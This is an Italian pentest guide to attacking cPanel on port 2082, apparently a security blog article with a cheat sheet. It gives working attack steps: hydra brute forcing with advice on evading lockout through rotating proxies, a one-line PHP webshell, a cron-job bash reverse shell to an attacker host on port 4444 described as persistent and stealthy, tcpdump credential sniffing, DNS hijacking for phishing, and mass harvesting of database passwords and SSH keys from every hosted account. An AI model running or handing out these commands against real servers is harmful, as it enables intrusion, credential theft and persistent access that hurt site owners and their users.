Porta 2082 cPanel: Pentest, Credential Reuse e Webshell

Porta 2082 cPanel nel pentest: login HTTP non cifrato, credential reuse, upload via File Manager, accesso a database, email e backup.
- Pubblicato il 2026-04-13
- Tempo di lettura: 5 min
Executive Summary — cPanel è il pannello di controllo hosting più diffuso al mondo. La porta 2082 serve l’interfaccia utente su HTTP (non criptato), mentre la porta 2083 è la versione SSL. Le porte admin (WHM) sono la 2086 (HTTP) e 2087 (HTTPS). cPanel dà accesso completo all’hosting: file manager, database, email, DNS, cron, SSH — il che significa che comprometterlo equivale a compromettere tutto il sito. Nel pentest, cPanel si attacca principalmente via credenziali deboli (brute force, credential reuse, default), e una volta dentro si ha RCE tramite file manager, terminal SSH integrato o cron job.
Cos’è la porta 2082 (cPanel HTTP)
- La porta 2082 espone cPanel su HTTP — traffico in chiaro con credenziali intercettabili
- Accesso a cPanel = accesso completo all’hosting (file, database, email, cron, SSH)
- Il riutilizzo delle credenziali (FTP, email, sito) è il vettore più comune — spesso sono le stesse di cPanel
Cos’è cPanel #
cPanel è un pannello di gestione hosting basato su web. Viene installato su server Linux (CentOS/AlmaLinux/CloudLinux) e fornisce un’interfaccia grafica per gestire ogni aspetto dell’hosting web:
cPanel (porta 2082/2083) — Pannello UTENTE
├── File Manager (upload, edit, permessi)
├── MySQL Databases (crea DB, utenti, phpMyAdmin)
├── Email Accounts (crea, gestisci)
├── Cron Jobs (schedule comandi)
├── Terminal / SSH Access
├── DNS Zone Editor
├── SSL/TLS
├── Backup
├── Softaculous (installer CMS)
├── Metrics (Awstats, error log)
└── Security (IP Blocker, Hotlink Protection)
WHM (porta 2086/2087) — Pannello ADMIN/RESELLER
├── Gestione di TUTTI gli account cPanel
├── Configurazione server
├── DNS cluster
├── Firewall (CSF)
└── Root accessLa porta 2082 serve cPanel su HTTP in chiaro. Nella pratica moderna, la maggior parte dei server redirige alla 2083 (SSL), ma la 2082 può essere ancora attiva — e il traffico è intercettabile.
Architettura porte cPanel #
| Porta | Servizio | Accesso |
|---|---|---|
| 2082 | cPanel HTTP | Utente |
| 2083 | cPanel HTTPS | Utente (preferita) |
| 2086 | WHM HTTP | Admin/Reseller |
| 2087 | WHM HTTPS | Admin/Reseller |
| 2095 | Webmail HTTP | |
| 2096 | Webmail HTTPS |
1. Enumerazione #
Nmap #
nmap -sV -p 2082,2083,2086,2087 10.10.10.40PORT STATE SERVICE VERSION
2082/tcp open http cPanel httpd
2083/tcp open ssl/http cPanel httpd
2086/tcp open http cPanel httpd (WHM)
2087/tcp open ssl/http cPanel httpd (WHM)Verifica manuale #
curl -s http://10.10.10.40:2082/ -IHTTP/1.1 301 Moved Permanently
Location: https://10.10.10.40:2083/
Server: cpsrvd/11.109Redirige alla 2083, ma la 2082 è aperta. Se il redirect non è forzato o se intercetti il traffico, le credenziali passano in chiaro su HTTP.
# Verifica la versione cPanel
curl -sk https://10.10.10.40:2083/login/ | grep -i "cpanel\|version"Enumerazione utenti (WHM) #
Se la porta 2087 (WHM) è accessibile:
curl -sk https://10.10.10.40:2087/ -IWHM gestisce tutti gli account cPanel del server. Compromettere WHM = compromettere tutti i siti hostati.
Username discovery #
I username cPanel sono spesso:
- Il nome del dominio troncato a 8 caratteri (
corplocalper corp-local.com) - Il prefisso dell’email (
admin,info,webmaster) - Lo username FTP (identico a cPanel nella maggior parte dei setup)
# Prova login per enumerare utenti validi
curl -sk https://10.10.10.40:2083/login/?login_only=1 \
-d "user=admin&pass=test" | grep -i "invalid\|incorrect"Alcuni setup cPanel rispondono diversamente per utente valido vs invalido — timing attack o messaggio diverso.
2. Credential Attack #
Credential Reuse #
Il vettore più comune. Le credenziali cPanel sono quasi sempre identiche a:
- Credenziali FTP (porta 21)
- Credenziali email (POP3/IMAP)
- Credenziali del database MySQL di primo setup
Se hai già compromesso FTP o trovato credenziali in un file di configurazione:
# Credenziali trovate in wp-config.php o .env
# Username: corpsite
# Password: Hosting2025!
# Testa su cPanel
curl -sk https://10.10.10.40:2083/login/?login_only=1 \
-d "user=corpsite&pass=Hosting2025!"Brute Force #
hydra -l corpsite -P /usr/share/wordlists/rockyou.txt \
10.10.10.40 https-post-form \
"/login/?login_only=1:user=^USER^&pass=^PASS^:The login is invalid"Attenzione: cPanel ha protezione brute force integrata (cPHulk). Dopo 5-10 tentativi falliti, il tuo IP viene bloccato. Strategie:
- Password spray (poche password, molti utenti) invece di brute force
- Usa proxy rotanti
- Aspetta il timeout del blocco (default: 15-30 minuti)
- Se hai accesso WHM: cPHulk può essere disabilitatoCredenziali default #
cPanel non ha credenziali “default” universali, ma:
- Server appena installati con password deboli del provider
- Password generate dal provider hosting (spesso pattern prevedibili)
- Password temporanee inviate via email (spesso mai cambiate)
3. Post-Authentication — Cosa Fare con cPanel #
Una volta dentro cPanel, hai accesso completo all’hosting. Ecco i vettori di RCE e data extraction.
File Manager → Webshell #
cPanel → File Manager → public_html/
→ Upload → carica cmd.php
Contenuto di cmd.php:
<?php system($_GET['c']); ?># Test
curl "http://10.10.10.40/cmd.php?c=id"uid=1001(corpsite) gid=1001(corpsite) groups=1001(corpsite)RCE come l’utente cPanel. Per il privilege escalation: cerca SUID, sudo, kernel exploit.
Terminal SSH Integrato #
cPanel moderno ha un terminale SSH nel browser:
cPanel → Advanced → TerminalShell interattiva direttamente dal pannello — non serve webshell.
Cron Jobs → Reverse Shell #
cPanel → Advanced → Cron Jobs
→ Add New Cron Job
→ Command: bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'
→ Schedule: * * * * * (ogni minuto)Reverse shell persistente ogni minuto. Più stealth di una webshell.
phpMyAdmin → Database Dump #
cPanel → Databases → phpMyAdmin
→ Accedi al database
→ Export → SQLDump completo del database con credenziali utenti, dati personali, hash password. Se è WordPress:
SELECT user_login, user_pass FROM wp_users;+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| admin | $P$BgD2E8J5vFN1FH... (phpass hash) |
+------------+------------------------------------+Cracka con hashcat mode 400 (phpass).
Backup → Credenziali e Dati #
cPanel → Files → Backup → Download a Full Account BackupIl backup completo contiene: tutti i file, tutti i database, le email, le configurazioni. Analizzalo offline per credenziali, chiavi SSH e dati sensibili.
Email → Intelligence #
cPanel → Email → Email Accounts
→ Accedi alla webmail
→ Cerca email con password, credenziali di servizi esterni, token APIDNS → Redirect Traffic #
cPanel → Domains → DNS Zone Editor
→ Modifica record A, MX, CNAMEPuoi redirigere il traffico del sito, le email o i sottodomini verso server che controlli — phishing e man-in-the-middle.
4. Da cPanel a Server Root #
L’utente cPanel non è root. Per escalare:
# Dalla shell cPanel (terminal o webshell):
uname -r
cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/nullPer la linux enumeration completa e la linux privilege escalation.
CVE specifici cPanel:
searchsploit cpanelcPanel ha avuto CVE di privilege escalation locale (da utente cPanel a root). Cerca per la versione specifica.
5. Lateral Movement — Verso Altri Account #
Su un server cPanel shared hosting, ci sono decine/centinaia di siti. Se ottieni root:
# Lista tutti gli account cPanel
cat /etc/trueuserdomainscorpsite: corp-local.com
othersite: other-domain.com
shopsite: shop-example.com# Credenziali MySQL di tutti gli account
cat /home/*/public_html/wp-config.php 2>/dev/null | grep DB_PASSWORD# Chiavi SSH di tutti
find /home/*/.ssh -name "id_rsa" 2>/dev/null6. Intercettazione Traffico su Porta 2082 #
La porta 2082 è HTTP — non criptato. Se sei sulla stessa rete (o in posizione MITM):
# Sniffa credenziali cPanel
tcpdump -i eth0 port 2082 -A | grep -iE "user=|pass="user=corpsite&pass=Hosting2025!Credenziali in chiaro. Per questo la 2082 dovrebbe essere disabilitata a favore della 2083 SSL.
7. Cheat Sheet Finale #
| Azione | Comando/Metodo |
|---|---|
| Nmap | nmap -sV -p 2082,2083,2086,2087 target |
| Banner grab | curl -s http://target:2082/ -I |
| Login test | curl -sk https://target:2083/login/?login_only=1 -d "user=X&pass=Y" |
| Brute force | hydra -l user -P wordlist target https-post-form ... |
| Webshell via FM | Upload cmd.php in public_html |
| Cron reverse shell | * * * * * bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' |
| DB dump | phpMyAdmin → Export |
| Full backup | cPanel → Backup → Full Account |
| Sniff HTTP | tcpdump -i eth0 port 2082 -A |
Riferimento: cPanel documentation, HackTricks cPanel, searchsploit. Uso esclusivo in ambienti autorizzati.







